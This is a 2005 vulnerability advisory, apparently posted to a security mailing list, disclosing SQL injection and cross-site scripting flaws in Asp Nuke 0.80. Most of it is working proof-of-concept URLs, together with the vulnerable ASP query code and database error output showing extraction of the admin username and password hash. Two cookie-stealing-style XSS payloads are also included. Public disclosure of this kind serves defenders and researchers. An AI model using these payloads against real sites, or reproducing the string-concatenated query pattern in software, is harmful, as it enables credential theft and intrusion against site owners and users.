<<< Date Index >>>     <<< Thread Index >>>

Multiple Sql injection and XSS in Asp Nuke 0.80 (Working exploits included)





Severity: High
Title: Multiple Sql injection and XSS in Asp Nuke 0.80 (Working exploits 
included)
Date: 22/04/2005

Vendor: Asp Nuke
Vendor Website: http://www.aspnuke.com/
Summary: There are, multiple sql injection and xss in asp nuke 0.80.


Proof of Concept Exploits: 

http://localhost/module/support/task/comments.asp?taskid='SQL_INJECTION
SQL INJECTION

Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND 
tsk.Active <> 0 AND tsk.Archive = 0'.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, usr.FirstName, 
usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created 
FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus 
sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = 'SQL_INJECTION AND 
tsk.Active <> 0 AND tsk.Archive = 0

[START CODE]
sStat = "SELECT c.CommentID, c.ParentCommentID, c.Subject, c.Body, c.Created, " 
&_
                "               m.Username " &_
                "FROM   tblTaskComment c " &_
                "LEFT JOIN tblMember m ON m.MemberID = c.MemberID " &_
                "WHERE  c.TaskID = " & nTaskID & " " &_
                "ORDER BY c.Created"
[END CODE]

Example exploitation:
To the get the username:
http://localhost/module/support/task/comments.asp?taskid=Username--
This would result in,
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 'admin' to a column of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, usr.FirstName, 
usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created 
FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus 
sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Username-- AND tsk.Active 
<> 0 AND tsk.Archive = 0

With "admin" being the username

To the get the password:
http://localhost/module/support/task/comments.asp?taskid=Password--
This would result in,
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 
'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a column 
of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, usr.FirstName, 
usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created 
FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus 
sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Password-- AND tsk.Active 
<> 0 AND tsk.Archive = 0

With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015" being 
the password hash encrypted in SHA 256



http://localhost/module/support/task/detail.asp?taskid='SQL_INJECTION
SQL INJECTION

Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND 
tsk.Active <> 0 AND tsk.Archive = 0'.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, 
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask 
tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus 
sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = 'SQL_INJECTION AND 
tsk.Active <> 0 AND tsk.Archive = 0

[START CODE]
sStat = "SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, 
usr.LastName, " &_
                "               pri.PriorityName, sta.StatusName, 0 As 
CommentCount, " &_
                "               tsk.Created " &_
                "FROM   tblTask tsk " &_
                "INNER JOIN     tblUser usr ON tsk.UserID = usr.UserID " &_
                "INNER JOIN     tblTaskPriority pri ON pri.PriorityID = 
tsk.PriorityID " &_
                "INNER JOIN     tblTaskStatus sta ON sta.StatusID = 
tsk.StatusID " &_
                "WHERE  tsk.TaskID = " & steForm("taskid") & " " &_
                "AND    tsk.Active <> 0 " &_
                "AND    tsk.Archive = 0"
[END CODE]

Example exploitation:
To the get the username:
http://localhost/module/support/task/detail.asp?taskid=Username--
This would result in,
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 'admin' to a column of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, 
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask 
tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus 
sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Username-- AND tsk.Active 
<> 0 AND tsk.Archive = 0

With "admin" being the username

To the get the password:
http://localhost/module/support/task/detail.asp?taskid=Password--
This would result in,
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 
'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a column 
of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, 
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask 
tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus 
sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Password-- AND tsk.Active 
<> 0 AND tsk.Archive = 0

With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015" being 
the password hash encrypted in SHA 256


http://localhost/module/article/article/article.asp?articleid='SQL_INJECTION
SQL INJECTION

Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND 
art.Active <> 0 AND art.Archive = 0'.
SELECT art.ArticleID, art.Title, art.ArticleBody, auth.FirstName, 
auth.LastName, cat.CategoryName, art.CommentCount, art.Created FROM tblArticle 
art INNER JOIN tblArticleAuthor auth ON art.AuthorID = auth.AuthorID INNER JOIN 
tblArticleToCategory atc ON atc.ArticleID = art.ArticleID INNER JOIN 
tblArticleCategory cat ON atc.CategoryID = cat.CategoryID WHERE art.ArticleID = 
'SQL_INJECTION AND art.Active <> 0 AND art.Archive = 0

[START CODE]
sStat = "SELECT art.ArticleID, art.Title, art.ArticleBody, " &_
                "               auth.FirstName, auth.LastName, " &_
                "               cat.CategoryName, art.CommentCount, " &_
                "               art.Created " &_
                "FROM   tblArticle art " &_
                "INNER JOIN     tblArticleAuthor auth ON art.AuthorID = 
auth.AuthorID " &_
                "INNER JOIN     tblArticleToCategory atc ON atc.ArticleID = 
art.ArticleID " &_
                "INNER JOIN     tblArticleCategory cat ON atc.CategoryID = 
cat.CategoryID " &_
                "WHERE  art.ArticleID = " & steForm("articleid") & " " &_
                "AND    art.Active <> 0 " &_
                "AND    art.Archive = 0"
[END CODE]


http://localhost/module/discuss/forum/profile.asp?topicid=1&thradid=346&username='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
XSS Pops Cookie


http://localhost/module/support/language/select.asp?code='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
XSS Pops Cookie



Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me 
regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon 
to come out book on Secure coding with php.